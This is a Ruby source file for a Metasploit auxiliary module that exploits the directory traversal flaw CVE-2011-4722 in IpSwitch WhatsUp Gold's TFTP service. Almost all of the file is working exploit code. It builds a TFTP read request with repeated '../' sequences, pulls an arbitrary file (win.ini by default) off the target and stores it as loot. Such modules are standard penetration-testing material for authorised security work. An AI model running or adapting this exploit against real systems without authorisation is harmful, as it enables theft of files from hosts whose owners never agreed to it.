117 lines
2.9 KiB
Ruby
117 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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include Msf::Auxiliary::Scanner
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include Msf::Auxiliary::Report
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def initialize(info={})
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super(update_info(info,
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'Name' => "IpSwitch WhatsUp Gold TFTP Directory Traversal",
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'Description' => %q{
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This modules exploits a directory traversal vulnerability in IpSwitch WhatsUp
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Gold's TFTP service.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Prabhu S Angadi', # Initial discovery and poc
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'sinn3r', # Metasploit module
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'juan vazquez' # More improvements
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],
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'References' =>
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[
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['OSVDB', '77455'],
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['BID', '50890'],
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['EDB', '18189'],
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['URL', 'http://secpod.org/advisories/SecPod_Ipswitch_TFTP_Server_Dir_Trav.txt'],
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['CVE', '2011-4722']
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],
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'DisclosureDate' => "Dec 12 2011"
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))
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register_options(
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[
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Opt::RPORT(69),
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OptString.new('FILENAME', [false, 'The file to loot', 'windows\\win.ini']),
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OptBool.new('SAVE', [false, 'Save the downloaded file to disk', false])
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])
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end
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def run_host(ip)
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# Prepare the filename
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file_name = "../"*10
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file_name << datastore['FILENAME']
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# Prepare the packet
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pkt = "\x00\x01"
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pkt << file_name
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pkt << "\x00"
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pkt << "octet"
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pkt << "\x00"
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# We need to reuse the same port in order to receive the data
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udp_sock = Rex::Socket::Udp.create(
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{
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'Context' => {'Msf' => framework, 'MsfExploit'=>self}
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}
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)
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add_socket(udp_sock)
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# Send the packet to target
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file_data = ''
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udp_sock.sendto(pkt, ip, datastore['RPORT'].to_i)
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while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
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opcode, block, data = r[0].unpack("nna*") # Parse reply
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if opcode != 3 # Check opcode: 3 => Data Packet
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print_error("Error retrieving file #{file_name} from #{ip}")
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return
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end
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file_data << data
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udp_sock.sendto(tftp_ack(block), r[1], r[2].to_i, 0) # Ack
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end
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if file_data.empty?
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print_error("Error retrieving file #{file_name} from #{ip}")
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return
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end
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udp_sock.close
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# Output file if verbose
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vprint_line(file_data.to_s)
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# Save file to disk
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path = store_loot(
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'whatsupgold.tftp',
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'application/octet-stream',
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ip,
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file_data,
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datastore['FILENAME']
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)
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print_status("File saved in: #{path}")
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end
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#
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# Returns an Acknowledgement
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#
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def tftp_ack(block=1)
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pkt = "\x00\x04" # Ack
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pkt << [block].pack("n") # Block Id
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end
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end
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=begin
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Remote code execution might be unlikely with this directory traversal bug, because WRITE
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requests are forbidden by default, and cannot be changed.
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=end
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